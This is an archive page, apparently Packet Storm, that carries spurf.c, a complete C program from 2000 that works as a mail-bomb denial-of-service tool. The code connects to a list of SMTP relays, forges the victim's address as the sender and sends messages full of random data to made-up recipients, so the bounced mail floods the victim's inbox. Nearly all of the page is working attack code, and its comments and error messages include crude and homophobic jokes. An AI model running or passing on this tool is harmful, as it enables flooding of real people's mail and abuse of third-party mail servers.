what you don't know can hurt you

spurf.c

spurf.c
Posted Feb 23, 2000
Authored by Missinglnk | Site tribune.intranova.net

A little mail-like 'smurf' that uses mail relays instead of broadcasts.

tags | denial of service
MD5 | b975a0cc65490275ea22d74d13d4581e

spurf.c

Change Mirror Download
/*
* spurf 0.1
* =========
* fuck packeting, spam them to hell, jersey, and back
* (c) 2000 - missnglnk <missnglnk@tribune.intranova.net>
* greets: ging3r, sectorx, tino, arakis, phonz, cypherus, cyberops,
* gated, ti, moo, nivfreak, any #include kids i missed.
* =========
* THOU SHALT CRASH AND BURN IF THOU USETH THIS FOR NONBIBLICAL
* PURPOSES. THY ASS SHALL BE REAMED 777 TIMES BY YOUR FAITHFUL
* LORD AND SAVIOR, BUBBA.
* (you get the drift)
* =========
* I'm not cool enough for the parties, so I sit at home and
* find ways to piss off those who are. While coding, I mapped
* out all the possible situations I might have faced if I tried
* to go to a party I wasn't invited to, mainly to make myself
* feel better. E-mail future party invitations to
* missnglnk@tribune.intranova.net, I'll gladly accept
* government parties or *gasp* CORPORATE SCUM invitations.
* </cry^H^H^H^H^H
* </rant>
*/

#include <stdio.h>
#include <stdlib.h>
#include <string.h>
#include <unistd.h>
#include <sys/socket.h>
#include <sys/types.h>
#include <netdb.h>
#include <netinet/in.h>
#include <arpa/inet.h>
#include <sys/param.h>

#define RANDOM_DATA "/dev/urandom"
extern int errno;

void usage(void)
{
printf("spurf [-t target] [-f relays] [-n messages] [-s size]\n");
exit(-1);
}

int main(int argc, char **argv)
{
int args;
char *target;
char *relayfile;
int msgcnt;
int msglen;
FILE *relays;
char relay[MAXHOSTNAMELEN];

printf("spurf 0.1 by missnglnk\n");
printf("http://tribune.intranova.net\n\n");

if (argc < 2) {
usage();
}

target = NULL;
relayfile = NULL;
msgcnt = -1;
msglen = -1;

while ((args = getopt(argc, argv, "t:f:n:s:")) != -1) {
switch(args) {
case 't':
if (strlen(optarg) > 128) {
printf("[spurf]\tridiculous email address\n\n");
return -1;
}

target = optarg;
break;
case 'f':
relayfile = optarg;
break;
case 'n':
msgcnt = atoi(optarg);
break;
case 's':
msglen = atoi(optarg);
if (msglen < 128) {
printf("[spurf]\tridiculous size\n\n");
return -1;
}
break;
case '?':
default:
usage();
break;
}
}

argc -= optind;
argv -= optind;

if (target == NULL || relayfile == NULL || msgcnt == -1 || msglen == -1) {
printf("[spurf]\tyou have no clue about tonight's party\n");
printf("[error]\tmissing arguments\n\n");
usage();
}

if ((relays = fopen(relayfile, "r")) == NULL) {
printf("[spurf]\tyou cant pick the lock on johnny cool's locker\n");
printf("[error]\t%s\n\n", strerror(errno));
return -1;
}

while (fgets(relay, MAXHOSTNAMELEN, relays) != NULL) {
relay[strlen(relay) - 1] = NULL;
if (spurf(target, relay, msgcnt, msglen) == -1) {
printf("[spurf]\t%s failed\n\n", relay);
}
}

if (fclose(relays) < 0) {
printf("[spurf]\tyou and your bloody, loose ass walk past the village people\n");
printf("[error]\t%s\n\n", relayfile, strerror(errno));
return -1;
}

return 0;
}

int spurf(char *target, char *relay, int msgnum, int msglen)
{
FILE *randfile;
int i;
int sock;
char *randdata;
char rcvbuf[1024];
char msgline[msglen];
struct hostent *he;
unsigned long ip;
struct sockaddr_in sin;

if ((randdata = malloc(msglen)) == NULL) {
printf("[spurf]\tyou get caught stealing an invitation\n");
printf("[error]\t%s\n", msglen, strerror(errno));
return -1;
}

if ((he = gethostbyname(relay)) != NULL) {
ip = *(unsigned long *)he->h_addr;
} else {
if ((ip = inet_addr(relay)) == NULL) {
printf("[spurf]\tgot caught making copies at kinko's\n");
printf("[error]\t%s\n", strerror(errno));
free(randdata);
return -1;
}
}

bzero(&sin, sizeof(sin));
sin.sin_family = AF_INET;
sin.sin_addr.s_addr = ip;
sin.sin_port = htons(25);

for (i = 1; i <= msgnum; i++) {
if ((randfile = fopen(RANDOM_DATA, "r")) == NULL) {
printf("[spurf]\tcouldnt find party invitation\n");
printf("[error]\t%s\n", strerror(errno));
free(randdata);
return -1;
}

if (fread(randdata, msglen, 1, randfile) < 1) {
printf("[spurf]\tyour cool party clothes are locked in mom's room\n");
printf("[error]\t%s\n", strerror(errno));
free(randdata);
return -1;
}

if (fclose(randfile) < 0) {
printf("[spurf]\tcouldnt hide them from mom quick enough\n\t%s\n", strerror(errno));
free(randdata);
return -1;
}


if ((sock = socket(AF_INET, SOCK_STREAM, IPPROTO_TCP)) < 0) {
printf("[spurf]\tgot caught climbing out the window\n");
printf("[error]\t%s\n", strerror(errno));
free(randdata);
return -1;
}

if (connect(sock, (struct sockaddr *)&sin, sizeof(sin)) < 0) {
printf("[spurf]\tbedsheet we're climbing down ripped in half\n");
printf("[error]\t%s\n", strerror(errno));
free(randdata);
return -1;
}

bzero(rcvbuf, sizeof(rcvbuf));
if (read(sock, rcvbuf, sizeof(rcvbuf)) <= 0) {
printf("[spurf]\tno more standing or sitting space\n");
printf("[error]\t%s\n", strerror(errno));
free(randdata);
return -1;
}

if (strstr(rcvbuf, "220") == NULL) {
printf("[spurf]\tmissed the motherfucking bus *again*\n");
printf("[error]\t%s", rcvbuf);
free(randdata);
return -1;
}

snprintf(msgline, msglen, "HELO tribune.intranova.net\n");
if (write(sock, msgline, strlen(msgline)) < strlen(msgline)) {
printf("[spurf]\tgot chumped by the bus driver\n");
printf("[error]\t%s\n", strerror(errno));
free(randdata);
return -1;
}

bzero(rcvbuf, sizeof(rcvbuf));
if (read(sock, rcvbuf, sizeof(rcvbuf)) <= 0) {
printf("[spurf]\tno more standing or sitting space\n");
printf("[error]\t%s\n", strerror(errno));
free(randdata);
return -1;
}

if (strstr(rcvbuf, "250") == NULL) {
printf("[spurf]\tguy sitting next to you grabbed your ass\n");
printf("[error]\t%s", rcvbuf);
free(randdata);
return -1;
}

snprintf(msgline, msglen, "MAIL FROM: %s\n", target);
if (write(sock, msgline, strlen(msgline)) < strlen(msgline)) {
printf("[spurf]\tgot bitchslapped after telling a girl you're from jersey\n");
printf("[error]\t%s\n", strerror(errno));
free(randdata);
return -1;
}

bzero(rcvbuf, sizeof(rcvbuf));
if (read(sock, rcvbuf, sizeof(rcvbuf)) <= 0) {
printf("[spurf]\tembarassed to read her number with your glasses on\n");
printf("[error]\t%s\n", strerror(errno));
free(randdata);
return -1;
}

if (strstr(rcvbuf, "250") == NULL) {
printf("[spurf]\tyou make out her name, b-r-u-c-e\n");
printf("[error]\t%s", rcvbuf);
free(randdata);
return -1;
}

snprintf(msgline, msglen, "RCPT TO: %ld@%s\n", random(), relay);
if (write(sock, msgline, strlen(msgline)) < strlen(msgline)) {
printf("[spurf]\tyou realize you're on the wrong bus\n");
printf("[error]\t%s\n", strerror(errno));
free(randdata);
return -1;
}

bzero(rcvbuf, sizeof(rcvbuf));
if (read(sock, rcvbuf, sizeof(rcvbuf)) <= 0) {
printf("[spurf]\tyou miss your stop and end up in the desert\n");
printf("[error]\t%s\n", strerror(errno));
free(randdata);
return -1;
}

if (strstr(rcvbuf, "250") == NULL) {
printf("[spurf]\tthis invitation is to the other party 3 months ago\n");
printf("[error]\t%s", rcvbuf);
free(randdata);
return -1;
}

snprintf(msgline, msglen, "DATA\n");
if (write(sock, msgline, strlen(msgline)) < strlen(msgline)) {
printf("[spurf]\tyour excuse is full of shit\n");
printf("[error]\t%s\n", strerror(errno));
free(randdata);
return -1;
}

bzero(rcvbuf, sizeof(rcvbuf));
if (read(sock, rcvbuf, sizeof(rcvbuf)) <= 0) {
printf("[spurf]\tyou dont know whether to explain or not\n");
printf("[error]\t%s\n", rcvbuf);
free(randdata);
return -1;
}

if (strstr(rcvbuf, "354") == NULL) {
printf("[spurf]\tyou get punched in the mouth starting to explain\n");
printf("[error]\t%s", rcvbuf);
free(randdata);
return -1;
}

snprintf(msgline, msglen, "%s\r\n.\r\n", randdata);
if (write(sock, msgline, strlen(msgline)) < strlen(msgline)) {
printf("[spurf]\tyou get punched in the mouth while explaining\n");
printf("[error]\t%s\n", strerror(errno));
free(randdata);
return -1;
}

bzero(rcvbuf, sizeof(rcvbuf));
if (read(sock, rcvbuf, sizeof(rcvbuf)) <= 0) {
printf("[spurf]\tyou're unconscious for some silly reason\n");
printf("[error]\t%s\n", strerror(errno));
free(randdata);
return -1;
}

if (strstr(rcvbuf, "250") == NULL) {
printf("[spurf]\tyou get kicked out before the party starts\n");
printf("[error]\t%s", rcvbuf);
free(randdata);
return -1;
}

snprintf(msgline, msglen, "QUIT\n");
if (write(sock, msgline, strlen(msgline)) < strlen(msgline)) {
printf("[spurf]\tyou're whacked with a broom before the door\n");
printf("[error]\t%s\n", strerror(errno));
free(randdata);
return -1;
}

bzero(rcvbuf, sizeof(rcvbuf));
if (read(sock, rcvbuf, sizeof(rcvbuf)) <= 0) {
printf("[spurf]\tyou cant tell who's hitting you\n");
printf("[error]\t%s\n", strerror(errno));
free(randdata);
return -1;
}

if (strstr(rcvbuf, "221") == NULL) {
printf("[spurf]\traving homos come downstairs and wont let you leave\n");
printf("[error]\t%s", rcvbuf);
free(randdata);
return -1;
}

if (close(sock) < 0) {
printf("[spurf]\tyou cant keep your ass closed tight enough\n");
printf("[error]\t%s\n", strerror(errno));
free(randdata);
return -1;
}
}

return 0;
}

Comments

RSS Feed Subscribe to this comment feed

No comments yet, be the first!

Login or Register to post a comment

File Archive:

May 2019

  • Su
  • Mo
  • Tu
  • We
  • Th
  • Fr
  • Sa
  • 1
    May 1st
    16 Files
  • 2
    May 2nd
    8 Files
  • 3
    May 3rd
    8 Files
  • 4
    May 4th
    2 Files
  • 5
    May 5th
    1 Files
  • 6
    May 6th
    15 Files
  • 7
    May 7th
    22 Files
  • 8
    May 8th
    16 Files
  • 9
    May 9th
    17 Files
  • 10
    May 10th
    16 Files
  • 11
    May 11th
    3 Files
  • 12
    May 12th
    4 Files
  • 13
    May 13th
    25 Files
  • 14
    May 14th
    24 Files
  • 15
    May 15th
    78 Files
  • 16
    May 16th
    16 Files
  • 17
    May 17th
    16 Files
  • 18
    May 18th
    2 Files
  • 19
    May 19th
    1 Files
  • 20
    May 20th
    11 Files
  • 21
    May 21st
    21 Files
  • 22
    May 22nd
    20 Files
  • 23
    May 23rd
    36 Files
  • 24
    May 24th
    2 Files
  • 25
    May 25th
    0 Files
  • 26
    May 26th
    0 Files
  • 27
    May 27th
    0 Files
  • 28
    May 28th
    0 Files
  • 29
    May 29th
    0 Files
  • 30
    May 30th
    0 Files
  • 31
    May 31st
    0 Files

Top Authors In Last 30 Days

File Tags

Systems

packet storm

© 2019 Packet Storm. All rights reserved.

Services
Security Services
Hosting By
Rokasec
close